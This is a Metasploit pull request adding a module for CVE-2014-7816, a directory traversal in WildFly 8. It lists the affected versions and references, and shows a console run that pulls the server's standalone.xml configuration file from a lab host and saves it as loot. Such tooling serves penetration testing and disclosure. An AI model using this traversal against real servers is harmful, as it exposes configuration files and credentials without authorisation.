rapid7/metasploit-framework — pull request #4271 by espreto (2014-11-27 02:20:17+00:00)
Title: Add CVE-2014-7816 Directory Traversal for WildFly 8 Application

#### Module to read file via directory traversal in WildFly Application.

Application: WildFly 8 (JBossAS)
Homepage: www.wildfly.org
References: http://www.openwall.com/lists/oss-security/2014/11/27/4

#### Vulnerable packages*

WildFly 8 Application (8.1.0.Final)
WildFly 8 Application (9.0.0.Alpha1)
WildFly 8 Application (8.0.0.Final)

#### Fixed in:

WildFly 8 Application (8.2.0.Final)

#### Usage:
```
msf > use auxiliary/scanner/http/wildfly_8_traversal
msf auxiliary(wildfly_8_traversal) > show options

Module options (auxiliary/scanner/http/wildfly_8_traversal):

Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH standalone\\configuration\\standalone.xml no Specify a parameter for the action
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

msf auxiliary(wildfly_8_traversal) > info

Name: WildFly 8 (JBossAS) Directory Traversal
Module: auxiliary/scanner/http/wildfly_8_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-10-22

Provided by:
Roberto Soares Espreto

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH standalone\\configuration\\standalone.xml no Specify a parameter for the action
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

Description:
This module exploits a directory traversal vulnerability found in
WildFly 8.1.0.Final webserver on port 8080. Code execution seems
unlikely with WildFly default configuration.

References:
http://cvedetails.com/cve/2014-7816/
https://access.redhat.com/security/cve/CVE-2014-7816
https://www.conviso.com.br/advisories/CONVISO-14-001.txt
http://www.openwall.com/lists/oss-security/2014/11/27/4

msf auxiliary(wildfly_8_traversal) > set RHOSTS 192.168.0.23
RHOSTS => 192.168.0.23
msf auxiliary(wildfly_8_traversal) > run

[*] Attempting to download: standalone\\configuration\\standalone.xml
[*] Server returns HTTP code: 200
[*] File saved in: /home/espreto/.msf4/loot/20141126235426_default_192.168.0.23_wildfly.http_025501.xml
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(wildfly_8_traversal) > head -10 /home/espreto/.msf4/loot/20141126235426_default_192.168.0.23_wildfly.http_025501.xml
[*] exec: head -10 /home/espreto/.msf4/loot/20141126235426_default_192.168.0.23_wildfly.http_025501.xml

msf auxiliary(wildfly_8_traversal) >
```